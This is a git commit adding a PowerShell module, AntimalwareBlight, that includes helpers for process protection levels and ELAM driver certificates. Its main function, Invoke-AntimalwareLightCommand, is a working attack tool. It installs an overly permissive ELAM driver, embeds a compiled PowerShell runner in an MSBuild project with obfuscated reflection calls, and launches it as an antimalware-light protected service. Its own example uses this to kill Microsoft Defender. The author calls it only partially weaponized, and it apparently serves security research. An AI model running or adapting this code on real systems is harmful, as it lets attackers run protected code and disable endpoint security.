Adding AntimalwareBlight PowerShell module

This commit is contained in:
Matt Graeber
2022-06-01 14:52:02 -04:00
committed by GitHub
parent 9b095eb262
commit 00f634a733
2 changed files with 770 additions and 0 deletions
+770
View File
@@ -0,0 +1,770 @@
#Requires -Version 5.1
# Author: Matt Graeber
# License: BSD 3-Clause
$ModuleRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
# Dnlib is used by Get-ElamCertInfo to help with parsing the MICROSOFTELAMCERTIFICATEINFO resource
# File hash: 6A8D4C28593DFCD9A28B93E95D5D97616C79A0CAF509CD83C5FA2FAEAEAB0EAD
# https://www.virustotal.com/gui/file/6a8d4c28593dfcd9a28b93e95d5d97616c79a0caf509cd83c5fa2faeaeab0ead
$DnlibBytes = [IO.File]::ReadAllBytes("$ModuleRoot\dnlib.dll")
try {
$null = [Reflection.Assembly]::Load($DnlibBytes)
} catch {
throw $_
return
}
if (-not ('ProcessHelper.ProcessNativeMethods' -as [Type])) {
$TypeDef = @'
using System;
using System.Runtime.InteropServices;
namespace ProcessHelper {
public class ProcessNativeMethods {
public enum PsProtectedType {
None = 0,
ProtectedLight = 1,
Protected = 2,
Max = 3
}
public enum PsProtectedSigner {
None = 0,
Authenticode = 1,
CodeGen = 2,
Antimalware = 3,
Lsa = 4,
Windows = 5,
WinTcb = 6,
Max = 7
}
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
int processAccess,
bool bInheritHandle,
int processId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(
IntPtr hHandle);
[DllImport("ntdll.dll")]
public static extern int NtQueryInformationProcess(
IntPtr ProcessHandle,
uint ProcessInformationClass,
ref byte ProcessInformation,
uint ProcessInformationLength,
ref uint ReturnLength);
}
}
'@
Add-Type -TypeDefinition $TypeDef
}
filter Get-ProcessProtectionLevel {
<#
.SYNOPSIS
Displays the protection level of a process.
Author: Matt Graeber
License: BSD 3-Clause
.DESCRIPTION
Get-ProcessProtectionLevel displays the protection level of a process.
.PARAMETER ProcessId
Specifies the process ID of the process.
.PARAMETER ReturnOnlyProtected
Specifies that Get-ProcessProtectionLevel should only return output if the process is protected.
.EXAMPLE
Get-Process -Name MsMpEng | Get-ProcessProtectionLevel
.EXAMPLE
Get-Process | Get-ProcessProtectionLevel -ReturnOnlyProtected -ErrorAction SilentlyContinue
Returns the specific protection levels for all protected processes.
#>
[CmdletBinding()]
param (
[Parameter(Mandatory, ValueFromPipelineByPropertyName)]
[Int]
[Alias('Id')]
$ProcessId,
[Switch]
$ReturnOnlyProtected
)
$ProcessProtectionInformation = 0x0000003D
[Byte] $ProtectionLevel = 0
[UInt32] $ReturnLength = 0
$ProcessHandle = [ProcessHelper.ProcessNativeMethods]::OpenProcess(
0x00001000, # QueryLimitedInformation
$False,
$ProcessId
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($ProcessHandle -and ($ProcessHandle -is [IntPtr]) -and ($ProcessHandle -ne [IntPtr]::Zero)) {
$Result = [ProcessHelper.ProcessNativeMethods]::NtQueryInformationProcess(
$ProcessHandle,
$ProcessProtectionInformation,
[Ref] $ProtectionLevel,
1,
[Ref] $ReturnLength
)
if (($Result -eq 0) -and ($ReturnLength -eq 1)) {
$ProtectedTypeValue = [Byte] ($ProtectionLevel -band 0x07)
$ProtectedSignerValue = [Byte] (($ProtectionLevel -band 0xF0) -shr 4)
if ((-not $ReturnOnlyProtected) -or ($ReturnOnlyProtected -and ($ProtectedTypeValue -gt 0))) {
$ProcessInstance = Get-CimInstance -ClassName Win32_Process -Filter "ProcessId = '$ProcessId'" -Property Name
[PSCustomObject] @{
ProcessId = $ProcessId
ProcessName = $ProcessInstance.Name
Type = ([ProcessHelper.ProcessNativeMethods+PsProtectedType] $ProtectedTypeValue)
Signer = ([ProcessHelper.ProcessNativeMethods+PsProtectedSigner] $ProtectedSignerValue)
}
}
} else {
Write-Error "Failed to obtain process protection level for process ID: $ProcessId. Error message: $(([ComponentModel.Win32Exception] $Result).Message). Error code: 0x$($Result.ToString('X8'))"
}
$null = [ProcessHelper.ProcessNativeMethods]::CloseHandle($ProcessHandle)
} else {
Write-Error "Unable to obtain a process handle for process ID: $ProcessId. Error message: $($LastError.Message). Error code: 0x$($LastError.NativeErrorCode.ToString('X8'))"
}
}
function Get-ElamCertInfo {
<#
.SYNOPSIS
Extract early launch anti-malware certificate information from an ELAM driver.
Author: Matt Graeber
License: BSD 3-Clause
.DESCRIPTION
Get-ElamCertInfo parses out the MICROSOFTELAMCERTIFICATEINFO resource of an ELAM driver. The information contained in this structure contains a list of approved anti-malware product signers.
.PARAMETER Path
Specifies the path to the target ELAM driver.
.EXAMPLE
Get-CimInstance Win32_LoadOrderGroup -Filter 'Name = "Early-launch"' | Get-CimAssociatedInstance -Association Win32_LoadOrderGroupServiceMembers | Get-ElamCertInfo
Description
-----------
Parse approved ELAM anti-malware signer information from any currently installed ELAM drivers.
.EXAMPLE
Get-ChildItem -Path download | Get-ElamCertInfo
Description
-----------
Parse approved ELAM anti-malware signer information from a directory containing ELAM drivers.
.LINK
https://msdn.microsoft.com/en-us/library/windows/desktop/dn313124
http://www.alex-ionescu.com/?p=146
#>
param (
[Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateScript({ Test-Path -Path $_ })]
[Alias('PathName')]
[Alias('FullName')]
[String[]]
$Path
)
BEGIN {
$HashAlgorithmTable = @{
[UInt16] 32771 = 'MD5'
[UInt16] 32772 = 'SHA1'
[UInt16] 32780 = 'SHA256'
[UInt16] 32781 = 'SHA384'
[UInt16] 32782 = 'SHA512'
}
}
PROCESS {
foreach ($FilePath in $Path) {
$FullPath = Resolve-Path $FilePath
$PEImage = New-Object -TypeName dnlib.PE.PEImage -ArgumentList $FullPath
if ($PEImage) {
$FileInfo = Get-Item -Path $FullPath
$FileHash = Get-FileHash -Path $FullPath -Algorithm SHA256
$ObjectProperties = [Ordered] @{
CompanyName = $FileInfo.VersionInfo.CompanyName
OriginalFilename = $FileInfo.VersionInfo.OriginalFilename
InternalName = $FileInfo.VersionInfo.InternalName
FileVersion = $FileInfo.VersionInfo.FileVersion
FileDescription = $FileInfo.VersionInfo.FileDescription
FileHash = $FileHash.Hash
ApprovedAntiMalwareSigners = $null
}
$ELAMCertInfo = $PEImage.Win32Resources.Root.Directories | Where-Object { $_.Name -eq 'MSELAMCERTINFOID' }
if ($ELAMCertInfo) {
$MSElamCertInfo = $ELAMCertInfo.Directories | Where-Object { $_.Name -eq 'MICROSOFTELAMCERTIFICATEINFO' }
if ($MSElamCertInfo) {
$ResourceData = $MSElamCertInfo.Data[0].Data
if ($ResourceData) {
$ELAMCertInfoBytes = $ResourceData.ReadBytes($ResourceData.Length)
$AntiMalwareSignerRuleCount = [BitConverter]::ToUInt16($ELAMCertInfoBytes, 0)
$CurrentIndex = 0
$AntiMalwareSignerRules = New-Object -TypeName PSObject[]($AntiMalwareSignerRuleCount)
for ($i = 0; $i -lt $AntiMalwareSignerRuleCount; $i++) {
$CurrentIndex += 2
# Obtain the index of the end of the first string
$TBSHashIndex = $CurrentIndex
while ([BitConverter]::ToUInt16($ELAMCertInfoBytes, $CurrentIndex) -ne 0) { $CurrentIndex += 2 }
$CertTBSHash = [Text.Encoding]::Unicode.GetString($ELAMCertInfoBytes[$TBSHashIndex..($CurrentIndex - 1)])
$CurrentIndex += 2
$HashAlgorithm = $HashAlgorithmTable[[BitConverter]::ToUInt16($ELAMCertInfoBytes, $CurrentIndex)]
$CurrentIndex += 2
$EKUListIndex = $CurrentIndex
while ([BitConverter]::ToUInt16($ELAMCertInfoBytes, $CurrentIndex) -ne 0) { $CurrentIndex += 2 }
$EKUList = $null
if ($CurrentIndex - $EKUListIndex) {
$EKUList = [Text.Encoding]::Unicode.GetString($ELAMCertInfoBytes[$EKUListIndex..($CurrentIndex - 1)])
}
$AntiMalwareSignerRules[$i] = [PSCustomObject] @{
AntiMalwareServiceSignerHash = $CertTBSHash
AntiMalwareServiceSignerHashAlgorithm = $HashAlgorithm
AntiMalwareServiceSignerEKUs = $EKUList
}
}
$ObjectProperties['ApprovedAntiMalwareSigners'] = $AntiMalwareSignerRules
New-Object -TypeName PSObject -Property $ObjectProperties
}
}
}
}
}
}
}
function Register-ELAMDriver {
<#
.SYNOPSIS
Registers an ELAM driver's certificate information.
Author: Matt Graeber
License: BSD 3-Clause
.DESCRIPTION
Register-ELAMDriver is a wrapper for the InstallELAMCertificateInfo function.
.PARAMETER ELAMDriverFilePath
Specifies the path to the target ELAM driver.
.EXAMPLE
Register-ELAMDriver -ELAMDriverFilePath OverlyPermissiveELAMDriver.sys
.LINK
https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-installelamcertificateinfo
#>
[CmdletBinding()]
param (
[Parameter(Mandatory, Position = 0)]
[String]
$ELAMDriverFilePath
)
if (-not ('Elam' -as [Type])) {
Add-Type -TypeDefinition @'
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
public static class Elam {
[DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
public static extern bool InstallELAMCertificateInfo(SafeFileHandle handle);
}
'@
}
$DriverFullPath = Resolve-Path -Path $ELAMDriverFilePath -ErrorAction Stop
$FileStream = [IO.File]::Open($DriverFullPath, [IO.FileMode]::Open, [IO.FileAccess]::Read, [IO.FileShare]::Read)
$Result = [Elam]::InstallELAMCertificateInfo($FileStream.SafeFileHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($Result -eq $False) {
$FileStream.Close()
throw $LastError
}
$FileStream.Close()
}
function Install-ProtectedService {
<#
.SYNOPSIS
Installs a protected service.
Author: Matt Graeber
License: BSD 3-Clause
.DESCRIPTION
Install-ProtectedService installs an executable with optional argument as an antimalware-light protected service.
.PARAMETER ExecutableFilePath
Specifies the path to the service executable.
.PARAMETER Arguments
Specifies optional arguments to the service executable.
.PARAMETER ServiceName
Specifies the name of the service to install.
.PARAMETER DisplayName
Specifies the display name of the service.
.EXAMPLE
Install-ProtectedService -ExecutableFilePath msbuild.exe -Arguments runme.csproj -ServiceName ProtectedMSBuild -DisplayName 'This is a protected msbuild service'
.LINK
https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-#starting-the-service-as-protected
#>
[CmdletBinding()]
param (
[Parameter(Mandatory)]
[String]
[ValidateNotNullOrEmpty()]
$ExecutableFilePath,
[String]
[ValidateNotNullOrEmpty()]
$Arguments,
[Parameter(Mandatory)]
[String]
[ValidateNotNullOrEmpty()]
$ServiceName,
[Parameter(Mandatory)]
[String]
[ValidateNotNullOrEmpty()]
$DisplayName
)
if (-not (New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
throw 'Install-ProtectedService must run from an elevated PowerShell session.'
}
if (-not ('ServiceHelper.ProcessNativeMethods' -as [Type])) {
$TypeDef = @'
using System;
using System.Runtime.InteropServices;
namespace ServiceHelper {
[Flags]
public enum SC_MANAGER {
AllAccess = 0xF003F,
Connect = 0x0001,
CreateService = 0x0002,
EnumerateService = 0x0004,
Lock = 0x0008,
QueryLockStatus = 0x0010,
ModifyBootConfig = 0x0020
}
[Flags]
public enum SERVICE {
AllAccess = 0xF01FF,
Delete = 0x10000,
QueryConfig = 0x0001,
ChangeConfig = 0x0002,
QueryStatus = 0x0004,
EnumerateDependents = 0x0008,
Start = 0x0010,
Stop = 0x0020,
PauseContinue = 0x0040,
Interrogate = 0x0080,
UserDefinedControl = 0x0100
}
public enum SERVICE_CONFIG {
ConfigDescription = 1, // SERVICE_CONFIG_DESCRIPTION
FailureActions = 2, // SERVICE_CONFIG_FAILURE_ACTIONS
DelayedAutoStartInfo = 3, // SERVICE_CONFIG_DELAYED_AUTO_START_INFO
FailureActionsFlag = 4, // SERVICE_CONFIG_FAILURE_ACTIONS_FLAG
ServiceSIDInfo = 5, // SERVICE_CONFIG_SERVICE_SID_INFO
RequiredPrivilegesInfo = 6, // SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO
PreshutdownInfo = 7, // SERVICE_CONFIG_PRESHUTDOWN_INFO
TriggerInfo = 8, // SERVICE_CONFIG_TRIGGER_INFO
PreferredNode = 9, // SERVICE_CONFIG_PREFERRED_NODE
LaunchProtected = 12 // SERVICE_CONFIG_LAUNCH_PROTECTED
}
public enum SERVICE_LAUNCH_PROTECTED {
None = 0, // SERVICE_LAUNCH_PROTECTED_NONE
Windows = 1, // SERVICE_LAUNCH_PROTECTED_WINDOWS
WindowsLight = 2, // SERVICE_LAUNCH_PROTECTED_WINDOWS_LIGHT
AntimalwareLight = 3 // SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT
}
[Flags]
public enum SERVICE_START {
BootStart = 0x0000,
SystemStart = 0x0001,
AutoStart = 0x0002,
DemandStart = 0x0003,
Disabled = 0x0004
}
public struct SERVICE_LAUNCH_PROTECTED_INFO {
public uint dwLaunchProtected;
}
public class ProcessNativeMethods {
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr CreateService(IntPtr hService, string serviceName, string displayName, int access, int serviceType, int startType, int errorControl, string binaryPath, string loadOrderGroup, IntPtr pTagId, string dependencies, string servicesStartName, string password);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName, int access);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool ChangeServiceConfig2W(IntPtr hService, SERVICE_CONFIG dwInfoLevel, ref SERVICE_LAUNCH_PROTECTED_INFO lpInfo);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern bool CloseServiceHandle(IntPtr hService);
}
}
'@
Add-Type -TypeDefinition $TypeDef -ErrorAction Stop
}
$ServiceExecutableFullPath = Resolve-Path -Path $ExecutableFilePath
if ($Arguments) {
$ServiceBinaryPathName = "`"$ServiceExecutableFullPath`" $Arguments"
} else {
$ServiceBinaryPathName = "`"$ServiceExecutableFullPath`""
}
Write-Verbose "Obtaining a handle to the Service Control Manager (SCM) with the following access rights: SC_MANAGER_CREATE_SERVICE, SC_MANAGER_CONNECT."
# Get a handle to the service control manager requesting the minimum possible access to create a service: SC_MANAGER_CREATE_SERVICE (0x0002) | SC_MANAGER_CONNECT (0x0001)
$SCHandle = [ServiceHelper.ProcessNativeMethods]::OpenSCManager(
'', # lpMachineName
'ServicesActive', # lpDatabaseName
[ServiceHelper.SC_MANAGER] 'CreateService, Connect' # dwDesiredAccess
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($SCHandle -eq ([IntPtr]::Zero)) {
# Failed to open a handle to the service control manager
Write-Error "Failed to obtain a service control manager handle with SC_MANAGER_CREATE_SERVICE | SC_MANAGER_CONNECT access. Reason: $($LastError.Message) (ErrorCode: 0x$($LastError.NativeErrorCode.ToString('X8')))"
return
}
Write-Verbose 'Creating service.'
$ServiceHandle = [ServiceHelper.ProcessNativeMethods]::CreateService(
$SCHandle, # hSCManager
$ServiceName, # lpServiceName
$DisplayName, # lpDisplayName
([ServiceHelper.SERVICE]::AllAccess), # dwDesiredAccess
0x10, # dwServiceType - SERVICE_WIN32_OWN_PROCESS
2, # dwStartType - Auto Start
1, # dwErrorControl - SERVICE_ERROR_NORMAL
$ServiceBinaryPathName, # lpBinaryPathName
$null, # lpLoadOrderGroup
([IntPtr]::Zero), # lpdwTagId
$null, # lpDependencies
'LocalSystem', # lpServiceStartName
$null # lpPassword
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($ServiceHandle -eq ([IntPtr]::Zero)) {
# Close the service control manager handle
$null = [ServiceHelper.ProcessNativeMethods]::CloseServiceHandle($SCHandle)
Write-Error "Failed to create service. Reason: $($LastError.Message) (ErrorCode: 0x$($LastError.NativeErrorCode.ToString('X8')))"
return
}
Write-Verbose 'Configuring service as SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT'
$ServiceLaunchProtectedInfo = New-Object -TypeName ServiceHelper.SERVICE_LAUNCH_PROTECTED_INFO
$ServiceLaunchProtectedInfo.dwLaunchProtected = [ServiceHelper.SERVICE_LAUNCH_PROTECTED]::AntimalwareLight
$Result = [ServiceHelper.ProcessNativeMethods]::ChangeServiceConfig2W(
$ServiceHandle, # hService
([ServiceHelper.SERVICE_CONFIG]::LaunchProtected), # dwInfoLevel
([Ref] $ServiceLaunchProtectedInfo)
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($Result -eq $False) {
# Close the service handle
$null = [ServiceHelper.ProcessNativeMethods]::CloseServiceHandle($ServiceHandle)
# Close the service control manager handle
$null = [ServiceHelper.ProcessNativeMethods]::CloseServiceHandle($SCHandle)
Write-Error "Failed to set the service launch protection level. Reason: $($LastError.Message) (ErrorCode: 0x$($LastError.NativeErrorCode.ToString('X8')))"
return
}
# Close the service handle
$null = [ServiceHelper.ProcessNativeMethods]::CloseServiceHandle($ServiceHandle)
# Close the service control manager handle
$null = [ServiceHelper.ProcessNativeMethods]::CloseServiceHandle($SCHandle)
}
function Invoke-AntimalwareLightCommand {
<#
.SYNOPSIS
Executes PowerShell code from the context of an antimalware-light protected msbuild.exe process.
Author: Matt Graeber
License: BSD 3-Clause
.DESCRIPTION
Invoke-AntimalwareLightCommand abuse an overly permissive ELAM driver that permits Microsoft-signed code to run at the antimalware-light protection level.
This function is deliberately only partially weaponized. A user must supply an overly-permissive ELAM driver and Microsoft-signed MSBuild executable.
.PARAMETER OverlyPermissiveELAMDriverPath
Specifies the path to an overly permissive ELAM driver that allows the following Microsoft certificate hash: E17764C39F2AFD7114F8528D2F9783D9A591F6679715EECE730A262CF5CFD3B3. The user of this function must find and supply their own overly permissive driver. Without it, Invoke-AntimalwareLightCommand will not work.
.PARAMETER MicrosoftSignedMSBuildPath
Specifies the path to a Microsoft-signed MSBuild executable. Specifically, you need to supply MSBuild with the following hash: 6891DA439A64108CC7FD7CA27F14BD726844B20C084506C13681078F5D9A3768
.PARAMETER ScriptBlock
Specifies the PowerShell code to executed at the antimalware-light protection level. Avoid calling any code that would spawn a child process (e.g. Add-Type) considering protected processes cannot start protected child processes by default.
.PARAMETER ProtectedServiceName
Specifies the name of the protected service to install. If -ProtectedServiceName is not specified, "MSBuildProtected" will be used as the default service name.
.PARAMETER SkipServiceInstall
Specifies that the service should not be installed. Supply this switch when you want to build a new payload for a service that has already been installed.
.EXAMPLE
Invoke-AntimalwareLightCommand -OverlyPermissiveELAMDriverPath OverlyPermissiveELAM.sys -MicrosoftSignedMSBuildPath MSBuild.exe -ScriptBlock { Get-Process -Name MsMpEng.exe | Stop-Process -Force }
.EXAMPLE
Invoke-AntimalwareLightCommand -OverlyPermissiveELAMDriverPath OverlyPermissiveELAM.sys -MicrosoftSignedMSBuildPath MSBuild.exe -ScriptBlock { Start-Sleep -Seconds 20 } -SkipServiceInstall
#>
[CmdletBinding()]
param (
[Parameter(Mandatory)]
[String]
[ValidateNotNullOrEmpty()]
$OverlyPermissiveELAMDriverPath,
[Parameter(Mandatory)]
[String]
[ValidateNotNullOrEmpty()]
$MicrosoftSignedMSBuildPath,
[Parameter(Mandatory)]
[ScriptBlock]
$ScriptBlock,
[String]
[ValidateNotNullOrEmpty()]
$ProtectedServiceName = 'MSBuildProtected',
[Switch]
$SkipServiceInstall
)
if (-not $SkipServiceInstall) {
if (-not (New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
throw 'Invoke-AntimalwareLightCommand must run from an elevated PowerShell session.'
}
}
$ResolvedOverlyPermissiveELAMDriverPath = Resolve-Path -Path $OverlyPermissiveELAMDriverPath | Select-Object -ExpandProperty Path
$ResolvedMicrosoftSignedMSBuildPath = Resolve-Path -Path $MicrosoftSignedMSBuildPath | Select-Object -ExpandProperty Path
#region Step #1 Validate ELAM driver and MSBuild
# Note: Neither the correct MSBuild nor the target overly-permissive ELAM driver are supplied. I did not want to release a fully-weaponized capability.
$MSBuildHash = Get-FileHash -Algorithm SHA256 -Path $ResolvedMicrosoftSignedMSBuildPath
if ($MSBuildHash.Hash -ne '6891DA439A64108CC7FD7CA27F14BD726844B20C084506C13681078F5D9A3768') {
Write-Error "$ResolvedMicrosoftSignedMSBuildPath SHA256 file hash is expected to be 6891DA439A64108CC7FD7CA27F14BD726844B20C084506C13681078F5D9A3768. Hash: $($MSBuildHash.Hash)"
return
}
$ELAMCertificateInfo = Get-ElamCertInfo -Path $ResolvedOverlyPermissiveELAMDriverPath -ErrorAction SilentlyContinue
if (-not $ELAMCertificateInfo) {
Write-Error "$ResolvedOverlyPermissiveELAMDriverPath is not a valid ELAM driver."
return
}
if ($ELAMCertificateInfo.ApprovedAntiMalwareSigners.AntiMalwareServiceSignerHash -notcontains 'E17764C39F2AFD7114F8528D2F9783D9A591F6679715EECE730A262CF5CFD3B3') {
Write-Error "The suppled ELAM driver does not contain the target TBS hash that will launch MSBuild protected: E17764C39F2AFD7114F8528D2F9783D9A591F6679715EECE730A262CF5CFD3B3. Obtain the right ELAM driver and try again."
return
}
#endregion
#region Step #2 Install the signed ELAM driver that has an overly permissive ruleset
Write-Verbose "Installing overly permissive signed ELAM driver."
Register-ELAMDriver -ELAMDriverFilePath $ResolvedOverlyPermissiveELAMDriverPath -ErrorAction Stop
#endregion
# Step #3 Generate an MSBuild payload that will execute the supplied PowerShell scriptblock
$MSBuildProjectFilePath = "$PWD\Runme.proj"
# Temporary path where the PowerShell runner MSBuild payload will be dropped.
# It will be written to disk so that the compiled assembly can be converted to base64 and embedded within the MSBuild project file.
$PowerShellRunnerFilePath = "$PWD\PSRunner.dll"
$MSBuildProjectTemplate = @"
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="TestTarget">
<PropertyGroup>
<TestProperty>`$([System.Activator]::CreateInstance(`$([System.Ref`lection.A`sse`mbly]::Load(`$([System.Convert]::FromBase64String("REPLACEME"))).GetType("Test")))))</TestProperty>
</PropertyGroup>
</Target>
</Project>
"@
Add-Type -TypeDefinition @"
using System;
using System.Management.Automation;
public class Test {
public Test() {
PowerShell ps = PowerShell.Create();
ps.AddScript(@"$($ScriptBlock.ToString().Replace('"', '""'))", true);
ps.Invoke();
}
}
"@ -OutputAssembly $PowerShellRunnerFilePath
$AssemblyEncoded = [Convert]::ToBase64String([IO.File]::ReadAllBytes("$PowerShellRunnerFilePath")).TrimEnd()
Remove-Item -Path $PowerShellRunnerFilePath
$MSBuildProjectContent = $MSBuildProjectTemplate.Replace('REPLACEME', $AssemblyEncoded)
Out-File -InputObject $MSBuildProjectContent -FilePath $MSBuildProjectFilePath
# Step #4 Run Permit MSBuild to enable all property function methods
Write-Verbose 'Setting %MSBUILDENABLEALLPROPERTYFUNCTIONS% to 1 in order to permit property function execution in MSBuild.'
# Note: this is only specific to MSBuild abuse. This step only pertains to weaponizing MSBuild in this scenario. This step is unrelated to antimalware-light protected service abuse.
[Environment]::SetEnvironmentVariable('MSBUILDENABLEALLPROPERTYFUNCTIONS', '1', [EnvironmentVariableTarget]::Machine)
$ExistingProtectedService = Get-CimInstance -ClassName Win32_Service -Filter "Name = '$ProtectedServiceName'"
# Step #5 Install MSBuild as an antimalware-light service
if ($SkipServiceInstall) {
if ($ExistingProtectedService) {
Write-Verbose "Starting the following service: $ProtectedServiceName"
$null = Invoke-CimMethod -InputObject $ExistingProtectedService -MethodName StartService
}
} else {
if (-not $ExistingProtectedService) {
# Only install the service if it wasn't previously installed.
Write-Verbose "Installing and starting the following antimalware-light service: $ProtectedServiceName"
Install-ProtectedService -ServiceName $ProtectedServiceName -DisplayName $ProtectedServiceName -ExecutableFilePath $ResolvedMicrosoftSignedMSBuildPath -Arguments $MSBuildProjectFilePath
} else {
Write-Warning "The `"$ProtectedServiceName`" service is already installed. If you just want to update the payload to execute, run Invoke-AntimalwareLightCommand with the -SkipServiceInstall switch."
$null = Invoke-CimMethod -InputObject $ExistingProtectedService -MethodName StartService
}
}
# Validate that the service was installed or that it was installed previously
$ProtectedService = Get-CimInstance -ClassName Win32_Service -Filter "Name = '$ProtectedServiceName'" -Property PathName
if (-not $ProtectedService) {
Write-Warning "Installed service information could not be retrieved for the following service: $ProtectedServiceName"
}
[PSCustomObject] @{
ELAMDriverFilePath = $ResolvedOverlyPermissiveELAMDriverPath
ServiceName = $ProtectedServiceName
ServicePathName = $ProtectedService.PathName
MSBuildFilePath = $ResolvedMicrosoftSignedMSBuildPath
MSBuildFileHash = $MSBuildHash.Hash
MSBuildProjectFilePath = $MSBuildProjectFilePath
}
}
Export-ModuleMember -Function Get-ProcessProtectionLevel, Get-ElamCertInfo, Register-ELAMDriver, Install-ProtectedService, Invoke-AntimalwareLightCommand
Binary file not shown.